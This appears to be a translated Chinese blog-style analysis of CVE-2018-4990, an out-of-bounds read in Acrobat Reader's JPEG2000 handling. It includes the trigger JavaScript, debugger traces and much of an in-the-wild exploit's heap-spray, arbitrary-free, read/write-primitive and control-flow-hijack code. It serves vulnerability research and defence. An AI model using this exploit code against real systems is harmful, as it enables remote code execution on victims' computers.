在本文中我将介绍攻击者如何利用CVE-2018-4990,这是在处理特制JPEG2000图像时在Acrobat Reader中的越界读取漏洞。
介绍
由于Acrobat Reader的使用很广泛,这使得我决定去试试对这一漏洞进行分析。目前我对AcroRd32.exe(c4c6f8680efeedafa4bb7a71d1a6f0cd37529ffc)v2018.011.20035的所有测试均已完成。显然其他版本也有受到影响,请参阅Adobe的公告apsb18-09了解更多详情。
深入探寻漏洞的根源
我需要做的第一件事就是解压缩PDF,因为许多对象被压缩,隐藏了真正的功能,如JavaScript和图像。我比较喜欢使用pdf工具包,因为它是命令行驱动的。
c:\> pdftk 4b672deae5c1231ea20ea70b0bf091164ef0b939e2cf4d142d31916a169e8e01 output poc.pdf uncompress
由于我没有JPEG2000图像的原始样本,因此我不知道该图像是否已翻转过,所以我只能深入研究JavaScript。剥去JavaScript的其余部分后,我们可以看到以下代码会触发读取的界限:
function trigger(){ var f = this.getField("Button1"); if(f){ f.display = display.visible; } } trigger();
JavaScript来自根节点触发的OpenAction:
1 0 obj << /Length 130 >> stream function trigger(){ var f = this.getField("Button1"); if(f){ f.display = display.visible; } } trigger(); endstream endobj ... 5 0 obj << /Outlines 2 0 R /Pages 3 0 R /OpenAction 6 0 R /AcroForm 7 0 R /Type /Catalog >> endobj 6 0 obj << /JS 1 0 R /Type /Action /S /JavaScript >> endobj ... trailer << /Root 5 0 R /Size 39 >>
在启用页面堆栈和用户模式堆栈跟踪的情况下,我们会获得以下崩溃:
(a48.1538): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=020e0000 edi=020e0000 eip=66886e88 esp=0022a028 ebp=0022a074 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8: 66886e88 813abbbbcdab cmp dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=???????? 0:000> kv ChildEBP RetAddr Args to Child 0022a074 66886f95 020e1000 d0d0d0d0 020e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH]) 0022a098 66887240 020e1000 d0d0d0d0 0022a108 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0]) 0022a0b4 66889080 020e1000 d0d0d0d0 0078d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0]) 0022a0d0 777969cc 020e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0]) 0022a118 77759e07 020e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH]) 0022a20c 777263a6 00000000 d0d0d0d0 387e2f98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH]) 0022a22c 7595c614 020e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4]) 0022a240 5df7ecfa 020e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0]) *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\JP2KLib.dll - 0022a254 667d0574 d0d0d0d0 7ea9257c 69616fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\heap\free.c @ 51] WARNING: Stack unwind information not available. Following frames may be wrong. 0022a374 667e6482 35588fb8 4380cfd8 000000fd JP2KLib!JP2KCopyRect+0xbae6 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll - 0022a3cc 511d6cfc 36496e88 68d96fd0 4380cfd8 JP2KLib!JP2KImageInitDecoderEx+0x24 0022a454 511d8696 3570afa8 69616fac 3570afa8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261843 0022a4b4 511cd785 69616fac 0022a4d4 511d6640 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2631dd 0022a4c0 511d6640 69616fac 462f6f70 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2582cc 0022a4d4 50dc030d 69616fac 41826fd0 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261187 0022a510 50dbf92b c0010000 0000000d 41826fc8 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x7867d 0022a5e0 50dbebc6 0022a988 00000000 60b2d137 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x77c9b 0022a930 50dbeb88 0022a988 45c3aa50 60b2d163 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76f36 0022a964 50dbea71 41826e28 45c3aa50 0022aa1c AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76ef8 0022a9d0 50dbd949 c0010000 0000000d 45c3aa50 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76de1
我们可以看到,免费的调用者是JP2KLib!接下来让我们深入该功能JP2KCopyRect + 0xbae6,看看到底发生了什么。
我们可以看到我们实际上处于循环操作中。代码循环遍历主要用于从缓冲区中读取值的索引,它尝试读取的缓冲区大小为0x3f4。 所以如果索引是0xfd,我们有一个从缓冲区+(0xfd * 0x4)== 0x3f4的读取,这是第一个越界的双字符。 现在我们如果继续循环最后一次(0xfe <0xff),那么我们就会获得另一个双字符的第二次越界读取。因此这个bug实际上可以读取8个字节的越界。
如果它读取的值不为空,则代码将超出边界值作为第一个参数推送到sub_10066FEA并调用它。
接下来我们将在push eax上的调用者之前设置一个断点来检查发生了什么。
Breakpoint 1 hit eax=d0d0d0d0 ebx=00000000 ecx=000000fd edx=00000001 esi=33b6cf98 edi=68032e88 eip=667e056e esp=0028a724 ebp=0028a838 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282 JP2KLib!JP2KCopyRect+0xbae0: 667e056e 50 push eax 0:000> bl 0 e 667e056e 0001 (0001) 0:**** JP2KLib!JP2KCopyRect+0xbae0 0:000> dd poi(esi+0x48)+0x4 L1 4732cfe4 000000ff 0:000> r ecx ecx=000000fd
我们可以清楚地看到上界是0xff,当前索引是0xfd。我不确定这个上限值是否可控,display.visible的常量实际上是0。
这实际上取决于sub_10066FEA对越界值(eax)所做的操作,他会确定此bug的利用率。但是我们已经知道它最终试图释放第一个参数。所以基本上这就是一个越界的读取,他可以导致两个任意的空值。
一个有趣的观点是,很多漏洞都是通过格式错误的静态内容和动态内容访问以及操纵格式错误的内容来触发的。这种类型的模糊是困难的,因为它需要在单个模糊迭代中结合基于突变和基于生成的模糊策略。
利用
因此,为了达到任意空闲,攻击者需要执行以下操作:
1.加载PDF,在字段按钮内部解析(推测)畸形的JP2K图像。
2.分配大量的ArrayBuffer,它们只是大于读出边界的缓冲区
3.设置精确的索引(即249和250),指出攻击者想要释放的内容
4.释放第二个ArrayBuffer,以便分配将落入一个插槽中
5.触发实际分配到一个插槽并读越界限的错误,释放这两个指针
这就是JavaScript代码的样子:
var a = new Array(0x3000); var spraynum = 0x1000; var sprayarr = new Array(spraynum); var spraylen = 0x10000-24; var spraybase = 0x0d0e0048; var spraypos = 0x0d0f0058; // force allocations to prepare the heap for the oob read for(var i1 = 1; i1 < 0x3000; i1++){ a[i] = new Uint32Array(252); a1[i1][249] = spraybase; a1[i1][250] = spraybase + 0x10000; } // heap spray to land ArrayBuffers at 0x0d0e0048 and 0x0d0f0048 for(var i1 = 1; i1 < spraynum; i++){ sprayarr[i1] = new ArrayBuffer(spraylen); } // make holes so the oob read chunk lands here for(var i1 = 1; i1 < 0x3000; i1 = i1 + 2){ delete a[i1]; a[i1] = null; }
实际上,这段代码正在试图去获得空值:
1. Alloc TypedArray 2. Free TypedArray 3. Alloc from JP2KLib 4. OOB Read + free! +--------------------+ +---------------------+ +---------------------+ +---------------------+ | | | | | +-----------------+ | | +-----------------+ | | | | | | | | | | | | +-----+ | | | | | | | | | | | +---+ | | | +--> | | +--> | |Size: 0x3f4 | | +--> | |Size: 0x3f4 | | | | | | | | | +-----------------+ | | +-----------------+ | | | | +249: 0x0d0e0048 | | +249: 0x0d0e0048 | | +249: 0x0d0e0048 | | +249: 0x0d0e0048 | <-+ | | +250: 0x0d0e0048 | | +250: 0x0d0e0048 | | +250: 0x0d0e0048 | | +250: 0x0d0e0048 | <---+ +--------------------+ +---------------------+ +---------------------+ +---------------------+ Size: 0x400 Size: 0x400 Size: 0x400 Size: 0x400
因为252 * 4是0x3F0,所以使用的大小252。然后如果我们添加标题(0x10),则总数为0x400。 这足以在目标缓冲区的顶部分配8个字节来利用越界的读取。
因此,攻击者可以释放两个大小为0x10000的缓冲区,这使得它们在JavaScript中具有很好的免费使用条件,因为它们已经引用了sprayarr。 由于缓冲区是连续的,所以发生合并并且释放的缓冲区变成大小0x20000。
所以在两个空值发生之后,我们在这个状态下留下堆。
1. Spray Heap 2. Trigger arbitrary free 3. Trigger arbitrary free 4. Coalesce the 2 chunks +------------------------+ +------------------------+ +------------------------+ +------------------------+ | | | | | | | | | Size: 0x10000 | | Size: 0x10000 | | Size: 0x10000 | | Size: 0x10000 | | | | | | | | | | +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ | | | | | | | | | | | | | | | | | | | Allocated | | | | Allocated | | | | Allocated | | | | Allocated | | | | | | | | | | | | | | | | | | | +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ | | | | | | | | | | | | | | | | | | | Allocated | | +--> | | Freed | | +--> | | Freed | |+-- | | Freed | | | | | | | | | | | | | | | | | chunks | | | +--------------+ | | +--------------+ | | +--------------+ | --> | | coalesced | | | +--------------+ | | +--------------+ | | +--------------+ | --> | | size: | | | | | | | | | | | | | | | | | 0x20000 | | | | Allocated | | | | Allocated | | +--> | | Freed | |+-- | | | | | | | | | | | | | | | | | | | | | +--------------+ | | +--------------+ | | +--------------+ | | +--------------+ | | | | | | | | | +------------------------+ +------------------------+ +------------------------+ +------------------------+
现在所有攻击者需要做的是分配一个大小为0x20000的TypedArray,并使用sprayarr引用,找到它来覆盖下一个ArrayBuffer的字节长度。
// reclaims the memory, like your typical use after free for(var i1 = 1; i1 < 0x40; i1++){ sprayarr2[i1] = new ArrayBuffer(0x20000-24); } // look for the TypedArray that is 0x20000 in size for(var i1 = 1; i1 < spraynum; i1++){ if( sprayarr[i1].byteLength == 0x20000-24){ // this is the magic, overwrite the next TypedArray's byte length var biga = new DataView(sprayarr[i1]); // offset to the byte length in the header biga.setUint32(0x10000 - 12, 0x66666666); // +1 because the next reference as a corrupted length now. if(sprayarr[i1 + 1].byteLength == 0x66666666){ // game over attackers can read/write out of biga biga = new DataView(sprayarr[i1 + 1]); ...
现在他们知道哪个TypedArray很大了(if(sprayarr [i] .byteLength == 0x20000-24)),然后它们用它来覆盖相邻ArrayBuffer的字节长度(var biga = new DataView(sprayarr [i ]); biga.setUint32(0x10000-12,0×66666666);)。 他们只检查下一个ArrayBuffer是否具有匹配的字节长度(如果(sprayarr [i + 1] .byteLength == 0x66666666)),并且如果它确实存在,那么它们使用DataView相对读取/写出相邻的ArrayBuffer (biga = new DataView(sprayarr [i + 1]);)。
在这个阶段,他们需要将这个原语升级为整个进程空间中的完整读/写原语,以便泄露TypedArray的指针和基址。
var arr = new Array(0x10000); for(var i2 = 0x10; i2 < 0x10000; i2++) arr[i2] = new Uint32Array(1); for(var i2 = 1; i2 < 0x10; i2++){ arr[i2] = new Uint32Array(sprayarr[i1 + i2]); // set the index into the first element of the TypedArray // so that the attackers where they are arr[i2][0] = i2; } for(var i2 = 0x30000; i2 < (0x10000 * 0x10); i2 = i2 + 4) { if( biga.getUint32(i2, true) == spraylen && biga.getUint32(i2 + 4, true) > spraypos ){ // save a reference to the relative read/write TypedArray mydv = biga; // leak the index var itmp = mydv.getUint32(i2 + 12, true); // get a reference to TypedArray that they overwrite myarray = arr1[itmp]; // get the index where the pointer of the TypedArray is mypos = biga.getUint32(i2 + 4, true) - spraypos + 0x50; // set its byte length to a stupid number also mydv.setUint32(mypos - 0x10, 0x100000, true); // leak the pointer of the TypedArray myarraybase = mydv.getUint32(mypos, true);
对于完整的读写原语,它们使用mypos和他们要读取/写入的地址覆盖存储在arr Array的第一个元素中的TypedArray指针,执行读/写操作,然后将指针指向TypedArray返回基址(myarraybase)。
function myread(addr){ mydv.setUint32(mypos, addr, true); var res = myarray[0]; mydv.setUint32(mypos, myarraybase, true); return res; } function mywrite(addr, value){ mydv.setUint32(mypos, addr, true); myarray[0] = value; mydv.setUint32(mypos, myarraybase, true); }
自然而然的,他们需要使用一些辅助函数来使用新的读/写原语。事实上到这里,游戏就结束了。他们本来可能只进行一次数据攻击,但是由于Acrobat Reader没有控制流程防护(CFG),所以他们选择了传统的呼叫控制流程。首先,他们找到了EScript.api并获得了dll的基址,然后他们用dll加载程序存根创建了一个rop链,将其全部存储在myarray中。TypedArray覆盖了书签对象的执行函数指针,其中myarray的基地址用于最终重定向执行流。
var bkm = this.bookmarkRoot; var objescript = 0x23A59BA4 - 0x23800000 + dll_base; objescript = myread(objescript); ... mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base); mywrite(objescript + 4, myarraybase); mywrite(objescript + 0x598,0x6b68389f - 0x6b640000 + dll_base); // adios! bkm.execute();
对于攻击者来说,Adobe Acrobat Reader仍然是一个很好的目标,因为JavaScript对ArrayBuffers非常灵活,PDF解析非常复杂。操作系统缓解的影响很小,因此Adobe选择加强其二进制文件(/ GUARD:CF)以加大开发难度。如果Adobe启用了CFG并开发了一种孤立堆的形式(就像他们使用flash一样),那么这个bug可能更难以利用。
如前所述,这个示例看起来还处于积极的发展阶段,JavaScript没有对其进行模糊处理,但这确实是一个不错的漏洞,因为我确信JP2KLib.dll中存在许多其他漏洞。尽管如此,这仍然是一个奇妙的漏洞和非常好的一次利用!
原文发布时间为:2018-05-25